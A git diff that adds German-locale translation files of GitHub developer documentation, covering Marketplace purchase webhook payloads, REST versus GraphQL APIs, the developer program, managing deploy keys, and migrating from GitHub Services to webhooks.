+Webhook-`POST`-Anforderungen verfügen über spezielle Header. Weitere Einzelheiten findest du unter [Webhook-Übermittlungsheader](/webhooks/event-payloads/#delivery-headers). Bei fehlerhaften Übermittlungsversuchen führt GitHub keine erneute Übermittlung durch. Stelle daher sicher, dass deine App alle von GitHub gesendeten Webhook-Payloads empfangen kann.
+
+Abgebrochene Vorgänge und Downgrades werden am ersten Tag des nächsten Abrechnungszyklus wirksam. Ereignisse für Downgrades und abgebrochene Vorgänge werden gesendet, wenn der neue Plan zu Beginn des nächsten Abrechnungszyklus wirksam wird. Ereignisse für neue Käufe und Upgrades beginnen umgehend. Verwende `effective_date` in der Webhook-Payload, um den Zeitpunkt zu bestimmen, an dem eine Änderung wirksam wird.
+
+{% data reusables.marketplace.marketplace-malicious-behavior %}
+
+Jede `marketplace_purchase`-Webhook-Payload umfasst die folgenden Informationen:
+
+
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` | `string` | Die Aktion, die zum Generieren des Webhooks ausgeführt wurde. Mögliche Aktionen sind `purchased`, `cancelled`, `pending_change`, `pending_change_cancelled` oder `changed`. Weitere Informationen findest du in den Beispielen für Webhook-Payloads unten. **Hinweis:** Die Payloads `pending_change` und `pending_change_cancelled` enthalten dieselben Schlüssel wie das [`changed`-Payload-Beispiel](#example-webhook-payload-for-a-changed-event).
+`effective_date` | `string` | Das Datum, an dem die Aktion (`action`) wirksam wird.
+`sender` | `object` | Die Person, die die Aktion (`action`) ausgeführt hat, durch die der Webhook ausgelöst wurde.
+`marketplace_purchase` | `object` | Die {% data variables.product.prodname_marketplace %}-Kaufinformationen.
+
+Das Objekt `marketplace_purchase` verfügt über die folgenden Schlüssel:
+
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`account` | `object` | Das mit dem `organization`- oder `user`-Konto verknüpfte Abonnement. Organisationskonten umfassen einen `organization_billing_email`-Wert, bei dem es sich um die administrative E-Mail-Adresse der Organisation handelt. Für die Suche nach E-Mail-Adressen für persönliche Konten kannst du den Endpunkt [Abrufen des authentifizierten Benutzers](/rest/reference/users#get-the-authenticated-user) verwenden.
+`billing_cycle` | `string` | Kann `yearly` oder `monthly` sein. Wenn die*der `account`-Besitzer*in über einen kostenlosen GitHub-Plan verfügt und einen kostenlosen {% data variables.product.prodname_marketplace %}-Plan erworben hat, weist `billing_cycle` den Wert `nil` auf.
+`unit_count`  | `integer` | Anzahl von erworbenen Einheiten.
+`on_free_trial` | `boolean` | `true`, wenn das Konto (`account`) mit der kostenlosen Testversion verwendet wird.
+`free_trial_ends_on` | `string` | Das Datum, an dem die kostenlose Testversion abläuft.
+`next_billing_date` | `string` | Das Datum, an dem der nächste Abrechnungszyklus beginnt. Wenn die*der `account`-Besitzer*in über einen kostenlosen GitHub.com-Plan verfügt und einen kostenlosen {% data variables.product.prodname_marketplace %}-Plan erworben hat, weist `next_billing_date` den Wert `nil` auf.
+`plan` | `object` | Der Plan, der von der Benutzerin oder vom Benutzer (`user`) oder von der Organisation (`organization`) erworben wurde.
+
+Das Objekt `plan` verfügt über die folgenden Schlüssel:
+
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`id` | `integer` | Der eindeutige Bezeichner für diesen Plan.
+`name` | `string` | Der Name des Plans.
+`description` | `string` | Die Beschreibung dieses Plans.
+`monthly_price_in_cents` | `integer` | Der monatliche Preis dieses Plans in Cent (US-Währung). Beispiel: Der Preis für einen Eintrag, der 10 US-Dollar pro Monat kostet, beträgt 1.000 Cent.
+`yearly_price_in_cents` | `integer` | Der jährliche Preis dieses Plans in Cent (US-Währung). Beispiel: Der Preis für einen Eintrag, der 100 US-Dollar pro Monat kostet, beträgt 120.000 Cent.
+`price_model` | `string` | Das Preismodell für diesen Eintrag. Kann `flat-rate`, `per-unit` oder `free` sein.
+`has_free_trial` | `boolean` | `true`, wenn für diesen Eintrag eine kostenlose Testversion verfügbar ist.
+`unit_name` | `string` | Der Name der Einheit. Wenn das Preismodell nicht `per-unit` ist, lautet der Wert `nil`.
+`bullet` | `array of strings` | Die Namen der Aufzählungspunkte im Tarif.
+
+<br/>
+
+### Beispiel-Webhook-Payload für ein `purchased`-Ereignis
+Dieses Beispiel zeigt die Payload für das `purchased`-Ereignis.
+
+{{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
+
+### Beispiel-Webhook-Payload für ein `changed`-Ereignis
+
+Änderungen an einem Plan umfassen Upgrades und Downgrades. Dieses Beispiel zeigt die Payloads für die Ereignisse `changed`, `pending_change` und `pending_change_cancelled`. Die Aktion gibt an, welches dieser drei Ereignisse aufgetreten ist.
+
+{{ webhookPayloadsForCurrentVersion.marketplace_purchase.changed }}
+
+### Beispiel-Webhook-Payload für ein `cancelled`-Ereignis
+
+{{ webhookPayloadsForCurrentVersion.marketplace_purchase.cancelled }}
diff --git a/translations/de-DE/content/developers/index.md b/translations/de-DE/content/developers/index.md
new file mode 100644
index 0000000000..6b5ddfcf48
--- /dev/null
+++ b/translations/de-DE/content/developers/index.md
@@ -0,0 +1,44 @@
+---
+title: Entwickler
+intro: 'Nutze {% data variables.product.prodname_dotcom %} noch intensiver, indem du unsere APIs und Webhooks integrierst, deinen {% data variables.product.prodname_dotcom %}-Workflow anpasst sowie Apps erstellst und für die Community freigibst.'
+introLinks:
+  About apps: /developers/apps/getting-started-with-apps/about-apps
+layout: product-landing
+featuredLinks:
+  guides:
+    - /developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps
+    - /developers/apps/building-github-apps/creating-a-github-app
+    - /developers/apps/building-github-apps/authenticating-with-github-apps
+    - /developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps
+  popular:
+    - /developers/overview/about-githubs-apis
+    - /developers/webhooks-and-events/webhooks/webhook-events-and-payloads
+    - /developers/apps/building-github-apps/creating-a-github-app
+    - /developers/apps/building-github-apps/authenticating-with-github-apps
+    - /developers/webhooks-and-events/webhooks/about-webhooks
+    - /developers/apps/building-oauth-apps/authorizing-oauth-apps
+    - /developers/github-marketplace/github-marketplace-overview/about-github-marketplace
+  guideCards:
+    - /developers/webhooks-and-events/webhooks/creating-webhooks
+    - /developers/apps/guides/using-the-github-api-in-your-app
+    - /developers/apps/guides/creating-ci-tests-with-the-checks-api
+changelog:
+  label: apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /overview
+  - /webhooks-and-events
+  - /apps
+  - /github-marketplace
+ms.openlocfilehash: dea95cbf3a90b14441c8bd09692c27dd3798d8e5
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109278'
+---
+
diff --git a/translations/de-DE/content/developers/overview/about-githubs-apis.md b/translations/de-DE/content/developers/overview/about-githubs-apis.md
new file mode 100644
index 0000000000..dbaa547ee2
--- /dev/null
+++ b/translations/de-DE/content/developers/overview/about-githubs-apis.md
@@ -0,0 +1,81 @@
+---
+title: About GitHub's APIs
+intro: 'Learn about {% data variables.product.prodname_dotcom %}''s APIs to extend and customize your {% data variables.product.prodname_dotcom %} experience.'
+redirect_from:
+  - /v3/versions
+  - /articles/getting-started-with-the-api
+  - /github/extending-github/getting-started-with-the-api
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+---
+
+## About {% data variables.product.company_short %}'s APIs
+
+{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. You can interact with both APIs using {% data variables.product.prodname_cli %}, curl, the official Octokit libraries, and third party libraries. Occasionally, a feature may be supported on one API but not the other.
+
+You should use the API that best aligns with your needs and that you are most comfortable using. You don't need to exclusively use one API over the other. Node IDs let you move between the REST API and GraphQL API. For more information, see "[Using global node IDs](/graphql/guides/using-global-node-ids)."
+
+This article discusses the benefits of each API. For more information about the GraphQL API, see "[About the GraphQL API](/graphql/overview/about-the-graphql-api)." For more information about the REST API, see [the REST documentation](/rest).
+
+## Choosing the GraphQL API
+
+The GraphQL API returns exactly the data that you request. GraphQL also returns the data in a pre-known structure based on your request. In contrast, the REST API returns more data than you requested and returns it in a pre-determined structure. You can also accomplish the equivalent of multiple REST API request in a single GraphQL request. The ability to make fewer requests and fetch less data makes GraphQL appealing to developers of mobile applications.
+
+For example, to get the {% data variables.product.product_name %} login of ten of your followers, and the login of ten followers of each of your followers, you can send a single request like:
+
+```graphql
+{
+  viewer {
+    followers(first: 10) {
+      nodes {
+        login
+        followers(first: 10) {
+          nodes {
+            login
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+The response will be a JSON object that follows the structure of your request.
+
+In contrast, to get this same information from the REST API, you would need to first make a request to `GET /user/followers`. The API would return the login of each follower, along with other data about the followers that you don't need. Then, for each follower, you would need to make a request to `GET /users/{username}/followers`. In total, you would need to make 11 requests to get the same information that you could get from a single GraphQL request, and you would receive excess data.
+
+## Choosing the REST API
+
+Because REST APIs have been around for longer than GraphQL APIs, some developers are more comfortable with the REST API. Since REST APIs use standard HTTP verbs and concepts, many developers are already familiar with the basic concepts to use the REST API.
+
+For example, to create an issue in the `octocat/Spoon-Knife` repository, you would need to send a request to `POST /repos/octocat/Spoon-Knife/issues` with a JSON request body:
+
+```json
+{
+  "title": "Bug with feature X",
+  "body": "If you do A, then B happens"
+}
+```
+
+In contrast, to make an issue using the GraphQL API, you would need to get the node ID of the `octocat/Spoon-Knife` repository and then send a request like:
+
+```graphql
+mutation {
+  createIssue(
+    input: {
+      repositoryId: "MDEwOlJlcG9zaXRvcnkxMzAwMTky"
+      title: "Bug with feature X"
+      body: "If you do A, then B happens"}
+  ) {
+    issue {
+      number
+      url
+    }
+  }
+}
+```
diff --git a/translations/de-DE/content/developers/overview/github-developer-program.md b/translations/de-DE/content/developers/overview/github-developer-program.md
new file mode 100644
index 0000000000..d2b0f9078e
--- /dev/null
+++ b/translations/de-DE/content/developers/overview/github-developer-program.md
@@ -0,0 +1,40 @@
+---
+title: GitHub-Entwicklerprogramm
+intro: 'Wenn du Tools erstellst, die in {% data variables.product.prodname_dotcom %} integriert sind, kannst du dem {% data variables.product.prodname_dotcom %}-Entwicklerprogramm beitreten.'
+redirect_from:
+  - /program
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: 7e1333c491e275c171cce14060c04b01f14bf0a8
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147770873'
+---
+Du erstellst eine Anwendung, die in GitHub integriert ist? Registriere dich für unser Entwicklerprogramm! Die Möglichkeiten sind endlos, und du freust dich über die Anerkennung, die du erhältst. [Jetzt registrieren](https://github.com/developer/register)
+
+## Erfülle Bedürfnisse
+
+Erstelle deine eigenen Tools, die sich nahtlos in die Umgebung integrieren lassen, in der du jeden Tag deinen Code pushst.
+
+## Übernimm die Kontrolle
+
+Sende eine E-Mail an <a href="mailto:partnerships@github.com">partnerships@github.com</a>, um Entwicklerlizenzen zum Erstellen und Testen deiner Anwendung mit {% data variables.product.prodname_ghe_server %} anzufordern.
+
+## Hast du eine Integration, die mit GitHub funktioniert?
+
+Prima. Wir würden uns freuen, wenn du an unserem Programm teilnimmst. Hier erfährst du, wie du die Nachricht verbreiten kannst:</p>
+* [Informiere uns über deine Integration](https://support.github.com/contact?tags=rr-general-technical&form[subject]=New+GitHub+Integration).
+* Verwende das [Octocat- oder GitHub-Logo](https://github.com/logos), um anzugeben, dass dein Produkt mit GitHub funktioniert.
+* Poste auf deiner Website ein Video oder einen Blogbeitrag über deine Integration.
+
+## Bist du bereit, am GitHub-Entwicklerprogramm teilzunehmen?
+
+Die Mitgliedschaft ist für einzelne Entwickler und Unternehmen möglich, die über Folgendes verfügen:
+
+* Eine Integration in der Produktion oder Entwicklung, für die die GitHub-API verwendet wird.
+* Eine E-Mail-Adresse, unter der GitHub-Benutzer dich kontaktieren können, um Support zu erhalten.
diff --git a/translations/de-DE/content/developers/overview/index.md b/translations/de-DE/content/developers/overview/index.md
new file mode 100644
index 0000000000..940cf3795b
--- /dev/null
+++ b/translations/de-DE/content/developers/overview/index.md
@@ -0,0 +1,23 @@
+---
+title: Übersicht
+intro: 'Erfahre mehr über die APIs von {% data variables.product.prodname_dotcom %}{% ifversion ghes or ghae %} und sichere deine Bereitstellungen.{% else %}, sichere deine Bereitstellungen und nimm am {% data variables.product.prodname_dotcom %}-Entwicklerprogramm teil.{% endif %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-githubs-apis
+  - /managing-deploy-keys
+  - /using-ssh-agent-forwarding
+  - /secret-scanning-partner-program
+  - /replacing-github-services
+  - /github-developer-program
+ms.openlocfilehash: e5a3abbd6a629148e99b756ff6e0f636ae03fe53
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102816'
+---
+
diff --git a/translations/de-DE/content/developers/overview/managing-deploy-keys.md b/translations/de-DE/content/developers/overview/managing-deploy-keys.md
new file mode 100644
index 0000000000..9f838c2051
--- /dev/null
+++ b/translations/de-DE/content/developers/overview/managing-deploy-keys.md
@@ -0,0 +1,195 @@
+---
+title: Managing deploy keys
+intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you.
+redirect_from:
+  - /guides/managing-deploy-keys
+  - /v3/guides/managing-deploy-keys
+  - /deploy-keys
+  - /articles/managing-deploy-keys
+  - /multiple-keys
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+---
+
+
+You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users.
+
+## SSH agent forwarding
+
+In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses.
+
+#### Pros
+
+* You do not have to generate or keep track of any new keys.
+* There is no key management; users have the same permissions on the server that they do locally.
+* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys.
+
+#### Cons
+
+* Users **must** SSH in to deploy; automated deploy processes can't be used.
+* SSH agent forwarding can be troublesome to run for Windows users.
+
+#### Setup
+
+1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information.
+2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this:
+`ssh -A serverA 'bash -s' < deploy.sh`
+
+## HTTPS cloning with OAuth tokens
+
+If you don't want to use SSH keys, you can use HTTPS with OAuth tokens.
+
+#### Pros
+
+* Anyone with access to the server can deploy the repository.
+* Users don't have to change their local SSH settings.
+* Multiple tokens (one for each user) are not needed; one token per server is enough.
+* A token can be revoked at any time, turning it essentially into a one-use password.
+{% ifversion ghes %}
+* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization).
+{% endif %}
+
+#### Cons
+
+* You must make sure that you configure your token with the correct access scopes.
+* Tokens are essentially passwords, and must be protected the same way.
+
+#### Setup
+
+See [our guide on creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+## Deploy keys
+
+{% data reusables.repositories.deploy-keys %}
+
+{% data reusables.repositories.deploy-keys-write-access %}
+
+#### Pros
+
+* Anyone with access to the repository and server has the ability to deploy the project.
+* Users don't have to change their local SSH settings.
+* Deploy keys are read-only by default, but you can give them write access when adding them to a repository.
+
+#### Cons
+
+* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server.
+* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised.
+
+#### Setup
+
+1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public and private rsa key pair.
+{% data reusables.profile.navigating-to-profile %} 
+
+   ![Navigation to profile](/assets/images/profile-page.png)
+1. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png)
+2. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png)
+3. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png)
+4. Provide a title, paste in your public key.  ![Deploy Key page](/assets/images/deploy-key.png)
+5. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository.
+6. Click **Add key**.
+
+#### Using multiple repositories on one server
+
+If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories.
+
+In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example:
+
+```bash
+Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0
+        Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}
+        IdentityFile=/home/user/.ssh/repo-0_deploy_key
+
+Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1
+        Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}
+        IdentityFile=/home/user/.ssh/repo-1_deploy_key
+```
+
+* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias.
+* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias.
+* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias.
+
+You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example:
+
+```bash
+$ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git
+```
+
+## Server-to-server tokens
+
+If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents.
+
+Since GitHub Apps are a first class actor on  {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for {% data variables.product.prodname_github_apps %}](/developers/apps/rate-limits-for-github-apps).
+
+#### Pros
+
+- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API).
+- Dedicated rate limits that grow with your organization.
+- Decoupled from GitHub user identities, so they do not consume any licensed seats.
+- Never granted a password, so cannot be directly signed in to.
+
+#### Cons
+
+- Additional setup is needed to create the GitHub App.
+- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code.
+
+#### Setup
+
+1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private.
+1. Determine the permissions your GitHub App requires, such as read-only access to repository contents.
+1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app).
+1. Note your GitHub App `id`.
+1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key).
+1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization.
+1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access.  Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app).
+1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation).
+1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client.
+
+## Machine users
+
+If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team).
+
+{% ifversion fpt or ghec %}
+
+{% tip %}
+
+**Tip:** Our [terms of service][tos] state:
+
+> *Accounts registered by "bots" or other automated methods are not permitted.*
+
+This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool.
+
+{% endtip %}
+
+{% endif %}
+
+#### Pros
+
+* Anyone with access to the repository and server has the ability to deploy the project.
+* No (human) users need to change their local SSH settings.
+* Multiple keys are not needed; one per server is adequate.
+
+#### Cons
+
+* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access.
+* Machine user keys, like deploy keys, are usually not protected by a passphrase.
+
+#### Setup
+
+1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account.
+2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization.
+
+[ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/
+[generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key
+[tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/
+[git-automation]: /articles/git-automation-with-oauth-tokens
+[collaborator]: /articles/inviting-collaborators-to-a-personal-repository
+[outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization
+[team]: /articles/adding-organization-members-to-a-team
+
+## Further reading
+- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
diff --git a/translations/de-DE/content/developers/overview/replacing-github-services.md b/translations/de-DE/content/developers/overview/replacing-github-services.md
new file mode 100644
index 0000000000..d22b0eacf3
--- /dev/null
+++ b/translations/de-DE/content/developers/overview/replacing-github-services.md
@@ -0,0 +1,78 @@
+---
+title: Ersetzen von GitHub-Diensten
+intro: 'Wenn du immer noch veraltete {% data variables.product.prodname_dotcom %}-Dienste verwendest, erfahre hier, wie du deine Service Hooks zu Webhooks migrierst.'
+redirect_from:
+  - /guides/replacing-github-services
+  - /v3/guides/automating-deployments-to-integrators
+  - /v3/guides/replacing-github-services
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: ddbe9552b1520f2238e531afca06e449ba2f2ff8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102807'
+---
+Wir haben GitHub-Dienste zugunsten der Integration in Webhooks für veraltet erklärt. Dieser Leitfaden hilft dir beim Übergang von GitHub-Diensten zu Webhooks. Weitere Informationen zu dieser Ankündigung findest du in diesem [Blogbeitrag](https://developer.github.com/changes/2018-10-01-denying-new-github-services).
+
+{% note %}
+
+Alternativ zum E-Mail-Dienst kannst du jetzt E-Mail-Benachrichtigungen für Pushes zu deinem Repository verwenden. Weitere Informationen findest du unter [Informationen zu E-Mail-Benachrichtigungen für Pushes an dein Repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/), um zu erfahren, wie du Commit-E-Mail-Benachrichtigungen konfigurierst.
+
+{% endnote %}
+
+## Zeitachse für die Einstellung
+
+- **1. Oktober 2018**: GitHub erlaubte Benutzern nicht mehr, Dienste zu installieren. Wir haben GitHub-Dienste aus der Benutzeroberfläche GitHub.com entfernt.
+- **29. Januar 2019**: Alternativ zum E-Mail-Dienst kannst du jetzt E-Mail-Benachrichtigungen für Pushes zu deinem Repository verwenden. Weitere Informationen findest du unter [Informationen zu E-Mail-Benachrichtigungen für Pushes an dein Repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/), um zu erfahren, wie du Commit-E-Mail-Benachrichtigungen konfigurierst.
+- **31. Januar 2019**: GitHub beendet die Bereitstellung der Ereignisse der installierten Dienste auf GitHub.com.
+
+## Hintergrund der GitHub-Dienste
+
+GitHub-Dienste (manchmal als Service Hooks bezeichnet) sind die veraltete Methode der Integration, wo GitHub einen Teil der Dienste unseres Integrators über [das `github-services`-Repository](https://github.com/github/github-services) gehostet hat. Auf GitHub ausgeführte Aktionen lösen diese Dienste aus, und du kannst diese Dienste nutzen, um Aktionen außerhalb von GitHub auszulösen.
+
+{% ifversion ghes %}
+## Suchen von Repositorys, die GitHub-Dienste verwenden
+Wir bieten ein Befehlszeilenskript, das dir hilft, herauszufinden, welche Repositorys auf deiner Appliance GitHub-Dienste verwenden. Weitere Informationen findest du im [ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report).{% endif %}
+
+## GitHub-Dienste verglichen mit Webhooks
+
+Die wichtigsten Unterschiede zwischen GitHub-Diensten und Webhooks:
+- **Konfiguration**: GitHub-Dienste verfügen über dienstspezifische Konfigurationsoptionen, während Webhooks einfach durch Angabe einer URL und einer Reihe von Ereignissen konfiguriert werden.
+- **Benutzerdefinierte Logik**: GitHub-Dienste können benutzerdefinierte Logik haben, um mit mehreren Aktionen als Teil der Verarbeitung eines einzelnen Ereignisses zu reagieren, während Webhooks keine benutzerdefinierte Logik haben.
+- **Arten von Anforderungen**: GitHub-Dienste können HTTP- und Nicht-HTTP-Anforderungen vornehmen, während Webhooks nur HTTP-Anforderungen vornehmen können.
+
+## Ersetzen von Diensten durch Webhooks
+
+So ersetzt du GitHub-Dienste durch Webhooks:
+
+1. Identifiziere die relevanten Webhook-Ereignisse, die du von [dieser Liste](/webhooks/#events) abonnieren musst.
+
+2. Ändere die Konfiguration je nachdem, wie du derzeit GitHub-Dienste verwendest:
+
+   - **GitHub-Apps**: Aktualisiere die Berechtigungen und abonnierten Ereignisse deiner App, um deine App so zu konfigurieren, dass die relevanten Webhook-Ereignisse empfangen werden.
+   - **OAuth-Apps**: Fordere entweder den `repo_hook`- und/oder `org_hook`-Bereich an, um die relevanten Ereignisse im Auftrag von Benutzern zu verwalten.
+   - **GitHub-Diensteanbieter**: Fordere von den Benutzern, dass sie manuell einen Webhook mit den relevanten Ereignisse konfigurieren, der an dich gesendet werden, oder nutze diese Gelegenheit, eine App zur Verwaltung dieser Funktionalität zu erstellen. Weitere Informationen findest du unter [Informationen zu Apps](/apps/about-apps/).
+
+3. Verschiebe zusätzliche, außerhalb von GitHub liegende Konfiguration. Einige GitHub-Dienste erfordern zusätzliche, benutzerdefinierte Konfiguration auf der Konfigurationsseite in GitHub. Wenn dies auf deinen Dienst zutrifft, musst du diese Funktionalität in deine Anwendung verschieben oder gegebenenfalls auf GitHub- oder OAuth-Apps zurückgreifen.
+
+## Unterstützung von {% data variables.product.prodname_ghe_server %}
+
+- **{% data variables.product.prodname_ghe_server %} 2.17**: {% data variables.product.prodname_ghe_server %} Release 2.17 und höher werden beendet, damit Administratoren Dienste installieren können. Administratoren können weiterhin vorhandene Dienst-Hooks ändern und Dienst-Hooks in {% data variables.product.prodname_ghe_server %} Release 2.17 bis 2.19 empfangen. Alternativ zum E-Mail-Dienst kannst du E-Mail-Benachrichtigungen für Pushes zu deinem Repository in {% data variables.product.prodname_ghe_server %} 2.17 und höher verwenden. Weitere Informationen findest du in [diesem Blogbeitrag](https://developer.github.com/changes/2019-01-29-life-after-github-services).
+- **{% data variables.product.prodname_ghe_server %} 2.20**: {% data variables.product.prodname_ghe_server %} Release 2.20 und höher werden alle Ereignisse der installierten Dienste nicht mehr bereitstellen.
+
+Das {% data variables.product.prodname_ghe_server %} 2.17-Release wird das erste Release sein, das nicht erlaubt, GitHub-Dienste zu verwalten. Wir unterstützen vorhandene GitHub-Dienste nur, bis das {% data variables.product.prodname_ghe_server %} 2.20-Release veröffentlicht wird. Wir akzeptieren auch bis zum 1. Oktober 2019 kritische Patches für deinen auf {% data variables.product.prodname_ghe_server %} ausgeführten GitHub-Dienst.
+
+## Migrieren mit unserer Hilfe
+
+[Wende dich an uns](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation), wenn du Fragen hast.
+
+Der Migrationsprozess umfasst in der Regel folgende Schritte:
+  - Identifiziere, wie und wo dein Produkt GitHub-Dienste verwendet.
+  - Identifiziere die entsprechenden Webhook-Ereignisse, die du konfigurieren musst, um zu einfachen Webhooks zu wechseln.
+  - Implementiere das Design entweder mithilfe von [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) oder [{% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) werden bevorzugt. Weitere Informationen dazu, warum {% data variables.product.prodname_github_apps %} bevorzugt werden, findest du unter [Gründe zum Wechseln zu {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps).
diff --git a/translations/de-DE/content/developers/overview/secret-scanning-partner-program.md b/translations/de-DE/content/developers/overview/secret-scanning-partner-program.md
new file mode 100644
index 0000000000..dfbff80a06
